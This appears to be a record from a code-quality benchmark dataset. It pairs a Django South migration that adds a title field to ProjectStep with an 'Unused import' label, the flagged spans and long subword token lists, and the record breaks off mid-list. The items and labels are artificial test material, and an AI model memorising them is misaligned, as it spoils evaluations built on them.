"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "err_", "(_", "'", "fail", "ed", " ", "to", " ", "read", " ", "ranges", ".", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "sho", "t", " ", "was", " ", "liste", "d", " ", "in", " ", "the", " ", "\"", "ranges", ".", "json", "\"", " ", "file", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "sho", "t", " ", "range", " ", "variables_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "SHO", "T_", "in_", "ranges_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "r_", "=_", "ranges_", "[_", "str_", "(_", "SHO", "T_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SHO", "TST", "ART", "_", ",_", "SHO", "TEN", "D_", "=_", "r_", "[_", "0_", "]_", ",_", "r_", "[_", "1_", "]_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
python/raspberryio/raspberryio/project/migrations/0003_auto__add_field_projectstep_title.py
[ { "content": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n models = {\n 'actstream.action': {\n 'Meta': {'ordering': \"('-timestamp',)\", 'object_name': 'Action'},\n 'action_object_content_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': \"'action_object'\", 'null': 'True', 'to': \"orm['contenttypes.ContentType']\"}),\n 'action_object_object_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),\n 'actor_content_type': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'actor'\", 'to': \"orm['contenttypes.ContentType']\"}),\n 'actor_object_id': ('django.db.models.fields.CharField', [], {'max_length': '255'}),\n 'description': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'public': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'target_content_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': \"'target'\", 'null': 'True', 'to': \"orm['contenttypes.ContentType']\"}),\n 'target_object_id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),\n 'timestamp': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'verb': ('django.db.models.fields.CharField', [], {'max_length': '255'})\n },\n 'auth.group': {\n 'Meta': {'object_name': 'Group'},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}),\n 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'})\n },\n 'auth.permission': {\n 'Meta': {'ordering': \"('content_type__app_label', 'content_type__model', 'codename')\", 'unique_together': \"(('content_type', 'codename'),)\", 'object_name': 'Permission'},\n 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['contenttypes.ContentType']\"}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n },\n 'auth.user': {\n 'Meta': {'object_name': 'User'},\n 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}),\n 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Group']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}),\n 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}),\n 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}),\n 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': \"orm['auth.Permission']\", 'symmetrical': 'False', 'blank': 'True'}),\n 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})\n },\n 'blog.blogcategory': {\n 'Meta': {'ordering': \"('title',)\", 'object_name': 'BlogCategory'},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['sites.Site']\"}),\n 'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'True', 'blank': 'True'}),\n 'title': ('django.db.models.fields.CharField', [], {'max_length': '500'})\n },\n 'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n },\n 'generic.assignedkeyword': {\n 'Meta': {'ordering': \"('_order',)\", 'object_name': 'AssignedKeyword'},\n '_order': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['contenttypes.ContentType']\"}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'keyword': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'assignments'\", 'to': \"orm['generic.Keyword']\"}),\n 'object_pk': ('django.db.models.fields.IntegerField', [], {})\n },\n 'generic.keyword': {\n 'Meta': {'object_name': 'Keyword'},\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['sites.Site']\"}),\n 'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'True', 'blank': 'True'}),\n 'title': ('django.db.models.fields.CharField', [], {'max_length': '500'})\n },\n 'project.featuredproject': {\n 'Meta': {'ordering': \"['-featured_start_date']\", 'object_name': 'FeaturedProject'},\n 'byline': ('django.db.models.fields.CharField', [], {'max_length': '50'}),\n 'featured_start_date': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2013, 2, 26, 0, 0)'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'photo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}),\n 'project': ('django.db.models.fields.related.OneToOneField', [], {'to': \"orm['project.Project']\", 'unique': 'True'})\n },\n 'project.project': {\n 'Meta': {'object_name': 'Project'},\n '_meta_title': ('django.db.models.fields.CharField', [], {'max_length': '500', 'null': 'True', 'blank': 'True'}),\n 'categories': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': \"'projects'\", 'symmetrical': 'False', 'to': \"orm['blog.BlogCategory']\"}),\n 'created_datetime': ('django.db.models.fields.DateTimeField', [], {}),\n 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),\n 'expiry_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n 'featured_photo': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),\n 'featured_video': ('django.db.models.fields.URLField', [], {'default': \"''\", 'max_length': '200', 'blank': 'True'}),\n 'featured_video_thumbnail': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),\n 'gen_description': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'in_sitemap': ('django.db.models.fields.BooleanField', [], {'default': 'True'}),\n 'keywords': ('mezzanine.generic.fields.KeywordsField', [], {'object_id_field': \"'object_pk'\", 'to': \"orm['generic.AssignedKeyword']\", 'frozen_by_south': 'True'}),\n 'keywords_string': ('django.db.models.fields.CharField', [], {'max_length': '500', 'blank': 'True'}),\n 'modified_datetime': ('django.db.models.fields.DateTimeField', [], {}),\n 'publish_date': ('django.db.models.fields.DateTimeField', [], {'null': 'True', 'blank': 'True'}),\n 'score': ('django.db.models.fields.IntegerField', [], {'default': '0'}),\n 'short_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True', 'blank': 'True'}),\n 'site': ('django.db.models.fields.related.ForeignKey', [], {'to': \"orm['sites.Site']\"}),\n 'slug': ('django.db.models.fields.CharField', [], {'max_length': '2000', 'null': 'True', 'blank': 'True'}),\n 'status': ('django.db.models.fields.IntegerField', [], {'default': '2'}),\n 'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}),\n 'tldr': ('mezzanine.core.fields.RichTextField', [], {}),\n 'user': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'projects'\", 'to': \"orm['auth.User']\"})\n },\n 'project.projectimage': {\n 'Meta': {'object_name': 'ProjectImage'},\n 'file': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})\n },\n 'project.projectstep': {\n 'Meta': {'ordering': \"('_order',)\", 'object_name': 'ProjectStep'},\n '_order': ('django.db.models.fields.IntegerField', [], {'null': 'True'}),\n 'content': ('mezzanine.core.fields.RichTextField', [], {}),\n 'gallery': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': \"orm['project.ProjectImage']\", 'null': 'True', 'blank': 'True'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'project': ('django.db.models.fields.related.ForeignKey', [], {'related_name': \"'steps'\", 'to': \"orm['project.Project']\"}),\n 'title': ('django.db.models.fields.CharField', [], {'max_length': '500'}),\n 'video': ('django.db.models.fields.URLField', [], {'default': \"''\", 'max_length': '200', 'blank': 'True'})\n },\n 'sites.site': {\n 'Meta': {'ordering': \"('domain',)\", 'object_name': 'Site', 'db_table': \"'django_site'\"},\n 'domain': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'})\n }\n }\n\n complete_apps = ['project']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding field 'ProjectStep.title'\n db.add_column('project_projectstep', 'title',\n self.gf('django.db.models.fields.CharField')(default='', max_length=500),\n keep_default=False)\n for step in orm.models['project.projectstep'].objects.iterator():\n step.title = u' '.join(\n ('Step', unicode(step._order + 1), 'of', step.project.title)\n )\n step.save()", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting field 'ProjectStep.title'\n db.delete_column('project_projectstep', 'title')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 20 } ]
[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Schema", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Schema", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "acts", "tream", ".", "action", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'-", "timestamp", "',)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Action", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "\\u", "object\\u", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "action", "\\u", "object", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "action", "\\u", "object\\u", "object\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "actor", "\\u", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "actor", "'\"_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "actor", "\\u", "object\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "description", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "public", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "target", "\\u", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "relate", "d\\u", "name", "'_", ":_", "\"'", "target", "'\"_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "target", "\\u", "object\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "timestamp", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "255", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "group", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Group", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "80", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "permissi", "on", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "content", "\\u", "type\\u\\u", "app", "\\u", "label", "',", " ", "'", "content", "\\u", "type\\u\\u", "model", "',", " ", "'", "code", "name", "')\"_", ",_", "'", "unique", "\\u", "tog", "ether", "'_", ":_", "\"(", "('", "content", "\\u", "type", "',", " ", "'", "code", "name", "'),)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Permi", "ssion", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "code", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "100", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "\\u", "type", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "contenttype", "s", ".", "Conten", "t", "Type", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "50", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "auth", ".", "user", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "User", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "\\u", "joine", "d", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "email", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Ema", "il", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "7", "5", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "first", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Group", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "active", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "sta", "ff", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "is", "\\u", "super", "user", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "login", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Date", "Time", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "datetime", ".", "datetime", ".", "now", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "password", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "128", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "permissi", "ons", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Many", "To", "Many", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "auth", ".", "Permi", "ssion", "']\"_", ",_", "'", "symmetric", "al", "'_", ":_", "'", "Fal", "se", "'_", ",_", "'", "blank", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "name", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "unique", "'_", ":_", "'", "Tru", "e", "'_", ",_", "'", "max", "\\u", "length", "'_", ":_", "'", "30", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "blog", ".", "blog", "category", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "orderi", "ng", "'_", ":_", "\"(", "'", "title", "',)\"_", ",_", "'", "object\\u", "name", "'_", ":_", "'", "Blog", "Cate", "gory", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "site", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "\"", "orm", "['", "sites", ".", "Site", "']\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slug", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "2000", "'_", ",_", "'", "null", "'_", ":_", "'", 